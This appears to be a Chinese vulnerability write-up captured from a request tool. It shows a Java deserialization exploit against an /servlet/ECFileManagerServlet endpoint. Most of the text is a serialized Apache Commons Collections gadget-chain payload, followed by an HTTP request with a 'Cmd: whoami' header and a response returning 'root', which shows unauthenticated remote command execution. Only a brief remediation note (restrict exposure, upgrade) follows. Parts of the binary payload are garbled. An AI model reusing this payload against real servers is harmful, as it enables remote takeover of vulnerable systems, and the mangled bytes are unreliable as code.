\x00\x03\x00\x01\x00\x00\x00\x11**\xb4\x00@\xb4\x00B\xb6\x00\x87\xb6\x00\x88w\xb1\x00\x00\x00\x01\x00\x9a\x00\x00\x00\x0a\x00\x02\x00\x00\x00\xfb\x00\x10\x00\xfb\x00\x09\x00\xa9\x00\xaa\x00\x01\x00\x99\x00\x00\x01\x1c\x00\x06\x00\x04\x00\x00\x00\xac\x01L\x12\x89\xb8\x002M,\x12\x8a\x04\xbd\x00\x1cY\x03\x12!S\xb6\x00\x1d,\xb6\x00*\x04\xbd\x00\x1eY\x03*S\xb6\x00\x1f\xc0\x00,\xc0\x00,L\xa7\x00\x04M+\xc7\x00C\x12\x8b\xb8\x002\x12\x8c\x03\xbd\x00\x1c\xb6\x00\x1d\x01\x03\xbd\x00\x1e\xb6\x00\x1fm,\xb6\x00\x04\x12\x8d\x04\xbd\x00\x1cY\x03\x12!S\xb6\x00\x1d,\x04\xbd\x00\x1eY\x03*S\xb6\x00\x1f\xc0\x00,\xc0\x00,L\xa7\x00\x04M+\xc7\x004\x12\x8e\xb8\x002M,\x12\x8d\x04\xbd\x00\x1cY\x03\x12!S\xb6\x00\x1dN-, \xb6\x00*\x04\xbd\x00\x1eY\x03*S\xb6\x00\x1f\xc0\x00,\xc0\x00,L\xa7\x00\x04M+\xb0\x00\x03\x00\x02\x00-\x000\x00/\x005\x00q\x00t\x00/\x00y\x00\xa6\x00\xa9\x00/\x00\x01\x00\x9a\x00\x00\x00F\x00\x11\x00\x00\x01\x00\x00\x02\x01\x02\x00\x08\x01\x03\x00-

\x01\x06\x000\x01\x04\x001\x01\x07\x005\x01\x09\x00L\x01\x0a\x00q\x01\x0d\x00t\x01\x0b\x00u\x01\x0f\x00y\x01\x11\x00\x7f\x01\x12\x00\x8f\x01\x13\x00\xa6\x01\x16\x00\xa9\x01\x14\x00\xaa\x01\x18\x00\x01\x00\xab\x00\x00\x00\x02\x00\xact\x00\x0bdefineClassuq\x00~\x00\x1a\x00\x00\x00\x02vr\x00\x10java.lang.String\xa0\xfd\xa48z;\xb3B\x02\x00\x00xpvq\x00~\x00\x28sq\x00~\x00\x13uq\x00~\x00\x18\x00\x00\x00\x01uq\x00~\x00\x1a\x00\x00\x00\x00q\x00~\x00\x1cuq\x00~\x00\x1a\x00\x00\x00\x01q\x00~\x00\x1esq\x00~\x00\x13uq\x00~\x00\x18\x00\x00\x00\x01uq\x00~\x00\x18\x00\x00\x00\x00q\x00~\x00"uq\x00~\x00\x1a\x00\x00\x00\x01q\x00~\x00\$sq\x00~\x00\x0fsq\x00~\x00\x00w\x0c\x00\x00\x00\x10?

@\x00\x00\x00\x00\x00\x00xsr\x00\x11java.util.HashMap\x05\x07\xda\xc1\xc3\x16`\xbd\x1\x03\x00\x02F\x00\x0aLoadFactorI\x00\x09thresholdxp?

@\x00\x00\x00\x00\x00\x00w\x08\x00\x00\x00\x10\x00\x00\x00xxx")}}

发送请求

强制 HTTPS

历史

爆破示例

数据包扫描

美化

热加载

构造请求

Request

1

POST /servlet/ECFileManagerServlet HTTP/1.1

2

Host :

3

Cmd: whoami

4

Accept-Encoding: gzip

5

User-Agent: Mozilla/5.0 (Macintosh; Intel-Mac-OS-X-10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15

6

7

{\uquote("\xac\xed\x00\x05sr\x00\x11java.util.HashSet\xbaD\x85\x95\x96\xb8\xb74\x03\x00\x00xpw\x0c\x00\x00\x0027@\x00\x00\x00\x00\x01sr\x004org.apache.commons.collections.keyvalue.TiedMapEntry\x8a\xad\xd2\x9b9\xc1\x1ft\x00\x12L java/lang/Object;\x00\x03m xpt\x00\x03foosr\x00*org.apache.commons.collections.map.LazyMapn\xe5\x94\x82\x9ey\x10\x94\x03\x00\x01L\x00\x07factoryt\x00,Lorg/apache/commons/collections/Transformer;xpsr\x00:org.apache.commons.collections.functors.ChainedTransformer0\xc7\x97\xec\x28z\x97\x04\x02\x00\x01[\x00\x0diTransformerst\x00-[Lorg/apache/commons/collections/Transformer;xpur\x00-[Lorg.apache.commons.collections.Transformer;\xbdV*\xf1\xd84\x18\x99\x02\x00\x00xp\x00\x00\x007sr\x00;org.apache.commons.collections.functors.ConstantTransformerXv\x90\x11A\x02\xb1\x94\x02\x00\x01L\x00\x09ic onstantq\x00-\x00\x03xpr\x00*org.mozilla.javascript.DefiningClassLoader\x00\x00\x00\x00\x00\x00\x00\x00\x00xp sr\x00:org.apache.commons.collections.functors.InvokerTransformer\x87\xe8\xffk\x7b|\xce8\x02\x00\x03[\x00\x05iArgst\x00\x13[L java/lang/Object;L\x00\x0biMethodNamet\x00\x12L java/lang/String;[\x00\x0biParamTypest\x00\x12[L java/lang/Class;xpur\x00\x13[L java.lang.Object;

Responses

5bytes / 54n

美化

编码

查看提取结果

详情

1

HTTP/1.1 200 OK

2

Server: Apache-Coyote/1.1

3

Set-Cookie: JSESSIONID=0456536CF8720D69FD4DAB32D6E6649C, server; Path=/; HttpOnly

4

Date: Tue, 11-Mar-2025 07:10:53 GMT

5

Content-Length: 5

6

7

root

8

漏洞修复

关闭互联网暴露面或接口设置访问权限

升级至安全版本